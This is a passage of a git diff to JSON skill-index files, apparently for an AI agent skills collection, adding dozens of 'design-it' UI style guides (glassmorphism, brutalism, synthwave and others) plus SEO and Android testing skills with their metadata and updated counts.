"supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [], + "blocked_reasons": { + "codex": [], + "claude": [] + }, + "runtime_files": [] + }, + { + "id": "design-it/skeuomorphism", + "path": "skills/design-it/skeuomorphism", + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [], + "blocked_reasons": { + "codex": [], + "claude": [] + }, + "runtime_files": [] + }, + { + "id": "design-it/soft-pastel", + "path": "skills/design-it/soft-pastel", + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [], + "blocked_reasons": { + "codex": [], + "claude": [] + }, + "runtime_files": [] + }, + { + "id": "design-it/spatial-computing-ui", + "path": "skills/design-it/spatial-computing-ui", + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [], + "blocked_reasons": { + "codex": [], + "claude": [] + }, + "runtime_files": [] + }, + { + "id": "design-it/spatial-design", + "path": "skills/design-it/spatial-design", + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [], + "blocked_reasons": { + "codex": [], + "claude": [] + }, + "runtime_files": [] + }, + { + "id": "design-it/swiss-design", + "path": "skills/design-it/swiss-design", + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [], + "blocked_reasons": { + "codex": [], + "claude": [] + }, + "runtime_files": [] + }, + { + "id": "design-it/synthwave", + "path": "skills/design-it/synthwave", + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [], + "blocked_reasons": { + "codex": [], + "claude": [] + }, + "runtime_files": [] + }, + { + "id": "design-it/tile-design", + "path": "skills/design-it/tile-design", + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [], + "blocked_reasons": { + "codex": [], + "claude": [] + }, + "runtime_files": [] + }, + { + "id": "design-it/typography-first", + "path": "skills/design-it/typography-first", + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [], + "blocked_reasons": { + "codex": [], + "claude": [] + }, + "runtime_files": [] + }, + { + "id": "design-it/vaporwave", + "path": "skills/design-it/vaporwave", + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [], + "blocked_reasons": { + "codex": [], + "claude": [] + }, + "runtime_files": [] + }, + { + "id": "design-it/vibrant-maximalism", + "path": "skills/design-it/vibrant-maximalism", + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [], + "blocked_reasons": { + "codex": [], + "claude": [] + }, + "runtime_files": [] + }, + { + "id": "design-it/widget-based-design", + "path": "skills/design-it/widget-based-design", + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [], + "blocked_reasons": { + "codex": [], + "claude": [] + }, + "runtime_files": [] + }, + { + "id": "design-it/y2k-design", + "path": "skills/design-it/y2k-design", + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [], + "blocked_reasons": { + "codex": [], + "claude": [] + }, + "runtime_files": [] + }, { "id": "design-md", "path": "skills/design-md", @@ -27875,6 +28825,25 @@ }, "runtime_files": [] }, + { + "id": "tools-page-seo-optimizer", + "path": "skills/tools-page-seo-optimizer", + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [], + "blocked_reasons": { + "codex": [], + "claude": [] + }, + "runtime_files": [] + }, { "id": "top-web-vulnerabilities", "path": "skills/top-web-vulnerabilities", @@ -30597,10 +31566,10 @@ } ], "summary": { - "total_skills": 1595, + "total_skills": 1646, "supported": { - "codex": 1544, - "claude": 1561 + "codex": 1595, + "claude": 1612 }, "blocked": { "codex": 51, diff --git a/antigravity-awesome-skills/data/skills_index.json b/antigravity-awesome-skills/data/skills_index.json index 6f4b7153..95d8b049 100644 --- a/antigravity-awesome-skills/data/skills_index.json +++ b/antigravity-awesome-skills/data/skills_index.json @@ -153,6 +153,28 @@ "reasons": [] } }, + { + "id": "3d-ui", + "path": "skills/design-it/3d-ui", + "category": "design-it", + "name": "3d-ui", + "description": "Web and App implementation guide for 3D UI. Trigger when user wants actual 3D objects, perspective effects, and spatial depth.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "3d-web-experience", "path": "skills/3d-web-experience", @@ -1129,6 +1151,28 @@ "reasons": [] } }, + { + "id": "ai-native-ui", + "path": "skills/design-it/ai-native-ui", + "category": "design-it", + "name": "ai-native-ui", + "description": "Web and App implementation guide for AI Native UI. Trigger when user wants conversational interfaces, adaptive layouts, and generative AI aesthetics.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "ai-product", "path": "skills/ai-product", @@ -1571,6 +1615,28 @@ "reasons": [] } }, + { + "id": "android-ui-journey-testing", + "path": "skills/android-ui-journey-testing", + "category": "testing", + "name": "android-ui-journey-testing", + "description": "XML-specified Android UI journey testing, interactive step execution, assertion verification, and JSON outcome reporting.", + "risk": "critical", + "source": "self", + "date_added": "2026-06-18", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "android_ui_verification", "path": "skills/android_ui_verification", @@ -2923,6 +2989,28 @@ ] } }, + { + "id": "aurora-ui", + "path": "skills/design-it/aurora-ui", + "category": "design-it", + "name": "aurora-ui", + "description": "Web and App implementation guide for Aurora UI. Trigger when user wants gradient glows, color blobs, and atmospheric lighting effects.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "auth-implementation-patterns", "path": "skills/auth-implementation-patterns", @@ -6377,6 +6465,28 @@ "reasons": [] } }, + { + "id": "bento-ui", + "path": "skills/design-it/bento-ui", + "category": "design-it", + "name": "bento-ui", + "description": "Web and App implementation guide for Bento UI. Trigger when user wants modular grid cards, Apple-like dashboard style, or sections arranged like a bento box.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "bevy-ecs-expert", "path": "skills/bevy-ecs-expert", @@ -6889,6 +6999,50 @@ "reasons": [] } }, + { + "id": "brutalism", + "path": "skills/design-it/brutalism", + "category": "design-it", + "name": "brutalism", + "description": "Web and App implementation guide for Brutalism. Trigger when user wants a raw appearance, intentionally unfinished look, and rejection of standard design conventions.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, + { + "id": "brutalist-typography", + "path": "skills/design-it/brutalist-typography", + "category": "design-it", + "name": "brutalist-typography", + "description": "Web and App implementation guide for Brutalist Typography. Trigger when user wants huge fonts, raw presentation, and aggressive layout decisions.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "bug-hunter", "path": "skills/bug-hunter", @@ -7417,6 +7571,28 @@ "reasons": [] } }, + { + "id": "card-based-design", + "path": "skills/design-it/card-based-design", + "category": "design-it", + "name": "card-based-design", + "description": "Web and App implementation guide for Card-Based Design. Trigger when user wants information cards, Pinterest-style layouts, and bite-sized content containers.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "carrier-relationship-management", "path": "skills/carrier-relationship-management", @@ -8151,6 +8327,28 @@ "reasons": [] } }, + { + "id": "claymorphism", + "path": "skills/design-it/claymorphism", + "category": "design-it", + "name": "claymorphism", + "description": "Web and App implementation guide for Claymorphism. Trigger when user wants soft 3D elements, rounded shapes, and a playful, tactile appearance.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "clean-code", "path": "skills/clean-code", @@ -8789,6 +8987,28 @@ "reasons": [] } }, + { + "id": "color-blocking", + "path": "skills/design-it/color-blocking", + "category": "design-it", + "name": "color-blocking", + "description": "Web and App implementation guide for Color Blocking. Trigger when user wants large color sections, striking layout divisions, and Mondrian-style grids.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "comfyui-gateway", "path": "skills/comfyui-gateway", @@ -8811,6 +9031,28 @@ "reasons": [] } }, + { + "id": "command-center-ui", + "path": "skills/design-it/command-center-ui", + "category": "design-it", + "name": "command-center-ui", + "description": "Web and App implementation guide for Command Center UI. Trigger when user wants monitoring systems, enterprise dashboards, NOCs, and global maps.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "commit", "path": "skills/commit", @@ -10373,6 +10615,50 @@ "reasons": [] } }, + { + "id": "cyber-y2k", + "path": "skills/design-it/cyber-y2k", + "category": "design-it", + "name": "cyber-y2k", + "description": "Web and App implementation guide for Cyber Y2K. Trigger when user wants modern Y2K, holographic visuals, and glitch aesthetics.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, + { + "id": "cyberpunk-ui", + "path": "skills/design-it/cyberpunk-ui", + "category": "design-it", + "name": "cyberpunk-ui", + "description": "Web and App implementation guide for Cyberpunk UI. Trigger when user wants neon colors, dark backgrounds, high-tech dystopian aesthetics, and hacking interfaces.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "daily", "path": "skills/daily", @@ -10439,6 +10725,28 @@ "reasons": [] } }, + { + "id": "dark-mode", + "path": "skills/design-it/dark-mode", + "category": "design-it", + "name": "dark-mode", + "description": "Web and App implementation guide for Dark Mode Design. Trigger when user wants dark surfaces, reduced eye strain, and premium sleek aesthetics.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "dart", "path": "skills/super-code/dart", @@ -10461,6 +10769,50 @@ "reasons": [] } }, + { + "id": "dashboard-design", + "path": "skills/design-it/dashboard-design", + "category": "design-it", + "name": "dashboard-design", + "description": "Web and App implementation guide for Dashboard Design. Trigger when user wants analytics-focused layouts, data visualization, and modular overview screens.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, + { + "id": "data-dense-design", + "path": "skills/design-it/data-dense-design", + "category": "design-it", + "name": "data-dense-design", + "description": "Web and App implementation guide for Data-Dense Design. Trigger when user wants professional tools, maximum information density, and expert interfaces (like Bloomberg terminals or IDEs).", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "data-engineer", "path": "skills/data-engineer", @@ -11365,6 +11717,28 @@ "reasons": [] } }, + { + "id": "design-it", + "path": "skills/design-it", + "category": "frontend", + "name": "design-it", + "description": "Routes frontend design tasks to 48 specific UI styles. Triggers for websites, app screens, or UI components requesting a specific aesthetic.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "design-md", "path": "skills/design-md", @@ -12159,6 +12533,28 @@ "reasons": [] } }, + { + "id": "duotone-design", + "path": "skills/design-it/duotone-design", + "category": "design-it", + "name": "duotone-design", + "description": "Web and App implementation guide for Duotone Design. Trigger when user wants two-color schemes, striking imagery, and Spotify-like playlist aesthetics.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "dwarf-expert", "path": "skills/dwarf-expert", @@ -12291,6 +12687,28 @@ "reasons": [] } }, + { + "id": "editorial-design", + "path": "skills/design-it/editorial-design", + "category": "design-it", + "name": "editorial-design", + "description": "Web and App implementation guide for Editorial Design. Trigger when user wants a magazine-inspired layout, large headlines, and elegant typography pairing.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "efficient-web-research", "path": "skills/efficient-web-research", @@ -13921,6 +14339,72 @@ "reasons": [] } }, + { + "id": "flat-design", + "path": "skills/design-it/flat-design", + "category": "design-it", + "name": "flat-design", + "description": "Web and App implementation guide for the Flat Design style. Trigger when the user wants no shadows, simple shapes, and bold colors.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, + { + "id": "flat-design-2", + "path": "skills/design-it/flat-design-2", + "category": "design-it", + "name": "flat-design-2", + "description": "Web and App implementation guide for Flat Design 2.0 (Semi-Flat). Trigger when the user wants flat design with subtle shadows and improved usability.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, + { + "id": "floating-ui", + "path": "skills/design-it/floating-ui", + "category": "design-it", + "name": "floating-ui", + "description": "Web and App implementation guide for Floating UI. Trigger when user wants detached cards, elevated components, and a light, airy feel.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "flowhunt-skill", "path": "skills/flowhunt-skill", @@ -14669,6 +15153,28 @@ "reasons": [] } }, + { + "id": "frutiger-aero", + "path": "skills/design-it/frutiger-aero", + "category": "design-it", + "name": "frutiger-aero", + "description": "Web and App implementation guide for Frutiger Aero. Trigger when user wants glossy gradients, early 2000s nature-inspired tech, glass, and water motifs.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "fsi-compliance-checker", "path": "skills/fsi-compliance-checker", @@ -15395,6 +15901,28 @@ "reasons": [] } }, + { + "id": "glassmorphism", + "path": "skills/design-it/glassmorphism", + "category": "design-it", + "name": "glassmorphism", + "description": "Web and App implementation guide for Glassmorphism. Trigger when user wants a frosted glass effect, blurred backgrounds, transparency, or a sleek MacOS-like feel.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "global-chat-agent-discovery", "path": "skills/global-chat-agent-discovery", @@ -15791,6 +16319,28 @@ "reasons": [] } }, + { + "id": "gradient-design", + "path": "skills/design-it/gradient-design", + "category": "design-it", + "name": "gradient-design", + "description": "Web and App implementation guide for Gradient Design. Trigger when user wants heavy gradient usage, vibrant transitions, and modern energetic feels.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "grafana-dashboards", "path": "skills/grafana-dashboards", @@ -16409,6 +16959,28 @@ "reasons": [] } }, + { + "id": "high-contrast", + "path": "skills/design-it/high-contrast", + "category": "design-it", + "name": "high-contrast", + "description": "Web and App implementation guide for High Contrast Design. Trigger when user wants accessibility-focused design, extreme legibility, or stark visual impact.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "high-end-visual-design", "path": "skills/high-end-visual-design", @@ -16431,6 +17003,28 @@ "reasons": [] } }, + { + "id": "holographic-ui", + "path": "skills/design-it/holographic-ui", + "category": "design-it", + "name": "holographic-ui", + "description": "Web and App implementation guide for Holographic UI. Trigger when user wants light-based appearance, projected interfaces, and transparent floating elements.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "hono", "path": "skills/hono", @@ -17663,6 +18257,28 @@ "reasons": [] } }, + { + "id": "isometric-design", + "path": "skills/design-it/isometric-design", + "category": "design-it", + "name": "isometric-design", + "description": "Web and App implementation guide for Isometric Design. Trigger when user wants angled 3D appearances without vanishing points, often used for technical illustrations.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "issues", "path": "skills/issues", @@ -18611,6 +19227,28 @@ "reasons": [] } }, + { + "id": "layered-design", + "path": "skills/design-it/layered-design", + "category": "design-it", + "name": "layered-design", + "description": "Web and App implementation guide for Layered Design. Trigger when user wants multiple depth levels, floating panels, and overlapping content.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "lead-magnets", "path": "skills/lead-magnets", @@ -20295,6 +20933,28 @@ "reasons": [] } }, + { + "id": "material-design", + "path": "skills/design-it/material-design", + "category": "design-it", + "name": "material-design", + "description": "Web and App implementation guide for Material Design. Trigger when user wants Google's aesthetic, elevation, motion, and consistent components.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "mathguard", "path": "skills/mathguard", @@ -20383,6 +21043,28 @@ "reasons": [] } }, + { + "id": "maximalism", + "path": "skills/design-it/maximalism", + "category": "design-it", + "name": "maximalism", + "description": "Web and App implementation guide for Controlled Maximalism. Trigger when user wants lots of elements, dense content, but a highly curated and artistic presentation.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "mcp-builder", "path": "skills/mcp-builder", @@ -20737,6 +21419,28 @@ "reasons": [] } }, + { + "id": "minimalism", + "path": "skills/design-it/minimalism", + "category": "design-it", + "name": "minimalism", + "description": "Web and App implementation guide for the Minimalism design style. Trigger when the user wants simple layouts, lots of whitespace, few colors, and clear hierarchy.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "minimalist-ui", "path": "skills/minimalist-ui", @@ -21137,6 +21841,28 @@ "reasons": [] } }, + { + "id": "monochromatic-ui", + "path": "skills/design-it/monochromatic-ui", + "category": "design-it", + "name": "monochromatic-ui", + "description": "Web and App implementation guide for Monochromatic UI. Trigger when user wants a single-color palette, high elegance, and strict color discipline.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "monopoly", "path": "skills/monopoly", @@ -21731,6 +22457,28 @@ "reasons": [] } }, + { + "id": "neo-brutalism", + "path": "skills/design-it/neo-brutalism", + "category": "design-it", + "name": "neo-brutalism", + "description": "Web and App implementation guide for Neo-Brutalism. Trigger when user wants thick borders, hard shadows, bright colors, and a playful yet structured look.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "neon-postgres", "path": "skills/neon-postgres", @@ -21885,6 +22633,28 @@ "reasons": [] } }, + { + "id": "neumorphism", + "path": "skills/design-it/neumorphism", + "category": "design-it", + "name": "neumorphism", + "description": "Web and App implementation guide for Neumorphism (Soft UI). Trigger when user wants soft shadows, extruded appearance, and light source simulation.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "new-rails-project", "path": "skills/new-rails-project", @@ -26228,6 +26998,50 @@ "reasons": [] } }, + { + "id": "retro-design", + "path": "skills/design-it/retro-design", + "category": "design-it", + "name": "retro-design", + "description": "Web and App implementation guide for Retro Design (60s-80s). Trigger when user wants vintage aesthetics, warm muted colors, and nostalgic layouts.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, + { + "id": "retro-futurism", + "path": "skills/design-it/retro-futurism", + "category": "design-it", + "name": "retro-futurism", + "description": "Web and App implementation guide for Retro Futurism. Trigger when user wants vintage future concepts, 1950s space age aesthetics, or atompunk vibes.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "returns-reverse-logistics", "path": "skills/returns-reverse-logistics", @@ -27064,6 +27878,28 @@ "reasons": [] } }, + { + "id": "sci-fi-interface", + "path": "skills/design-it/sci-fi-interface", + "category": "design-it", + "name": "sci-fi-interface", + "description": "Web and App implementation guide for Sci-Fi Interface Design. Trigger when user wants HUDs, spacecraft dashboards, or tactical military readouts.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "scientific-writing", "path": "skills/scientific-writing", @@ -28920,6 +29756,28 @@ "reasons": [] } }, + { + "id": "skeuomorphism", + "path": "skills/design-it/skeuomorphism", + "category": "design-it", + "name": "skeuomorphism", + "description": "Web and App implementation guide for Skeuomorphism. Trigger when user wants UI to mimic real-world objects, realistic textures, or physical metaphors.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "skill-audit", "path": "skills/skill-audit", @@ -29638,6 +30496,28 @@ ] } }, + { + "id": "soft-pastel", + "path": "skills/design-it/soft-pastel", + "category": "design-it", + "name": "soft-pastel", + "description": "Web and App implementation guide for Soft Pastel Design. Trigger when user wants gentle colors, calming UI, baby/lifestyle branding, or low-contrast aesthetics.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "software-architecture", "path": "skills/software-architecture", @@ -29704,6 +30584,50 @@ "reasons": [] } }, + { + "id": "spatial-computing-ui", + "path": "skills/design-it/spatial-computing-ui", + "category": "design-it", + "name": "spatial-computing-ui", + "description": "Web and App implementation guide for Spatial Computing UI. Trigger when user wants floating elements, environmental awareness, and Apple Vision Pro style.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, + { + "id": "spatial-design", + "path": "skills/design-it/spatial-design", + "category": "design-it", + "name": "spatial-design", + "description": "Web and App implementation guide for Spatial Design. Trigger when user wants environment-aware layouts, Apple Vision Pro inspiration, and mixed reality aesthetics.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "spec-to-code-compliance", "path": "skills/spec-to-code-compliance", @@ -30652,6 +31576,28 @@ "reasons": [] } }, + { + "id": "swiss-design", + "path": "skills/design-it/swiss-design", + "category": "design-it", + "name": "swiss-design", + "description": "Web and App implementation guide for Swiss Design (International Typographic Style). Trigger when user wants strict grid systems, strong typography, and clean, asymmetrical alignment.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "sympy", "path": "skills/sympy", @@ -30674,6 +31620,28 @@ "reasons": [] } }, + { + "id": "synthwave", + "path": "skills/design-it/synthwave", + "category": "design-it", + "name": "synthwave", + "description": "Web and App implementation guide for Synthwave. Trigger when user wants 80s-inspired neon, dark backgrounds, outrun grids, and Miami Vice aesthetics.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "systematic-debugging", "path": "skills/systematic-debugging", @@ -31864,6 +32832,28 @@ "reasons": [] } }, + { + "id": "tile-design", + "path": "skills/design-it/tile-design", + "category": "design-it", + "name": "tile-design", + "description": "Web and App implementation guide for Tile Design. Trigger when user wants Microsoft Metro style, sharp square information units, and horizontal scrolling grids.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "tmux", "path": "skills/tmux", @@ -31976,6 +32966,28 @@ "reasons": [] } }, + { + "id": "tools-page-seo-optimizer", + "path": "skills/tools-page-seo-optimizer", + "category": "seo", + "name": "tools-page-seo-optimizer", + "description": "Framework-agnostic SEO workflow for any site with multiple tool, product, or feature pages. Covers duplicate content, unique meta tags, heading hierarchy, internal linking, URL slugs, E-E-A-T, content registry pattern for scaling 50\u2013500 pages, and blog content strategy for position 50\u201368 keywords.", + "risk": "safe", + "source": "community", + "date_added": "2026-06-19", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "top-web-vulnerabilities", "path": "skills/top-web-vulnerabilities", @@ -32328,6 +33340,28 @@ "reasons": [] } }, + { + "id": "typography-first", + "path": "skills/design-it/typography-first", + "category": "design-it", + "name": "typography-first", + "description": "Web and App implementation guide for Typography First Design. Trigger when user wants text as the absolute main visual element, with minimal UI chroming.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "ui-a11y", "path": "skills/ui-a11y", @@ -33080,6 +34114,28 @@ "reasons": [] } }, + { + "id": "vaporwave", + "path": "skills/design-it/vaporwave", + "category": "design-it", + "name": "vaporwave", + "description": "Web and App implementation guide for Vaporwave. Trigger when user wants neon colors, retro digital aesthetics, 90s OS elements, and Roman statues.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "variant-analysis", "path": "skills/variant-analysis", @@ -33439,7 +34495,7 @@ "path": "skills/vibecode-production-qa-validator", "category": "devops", "name": 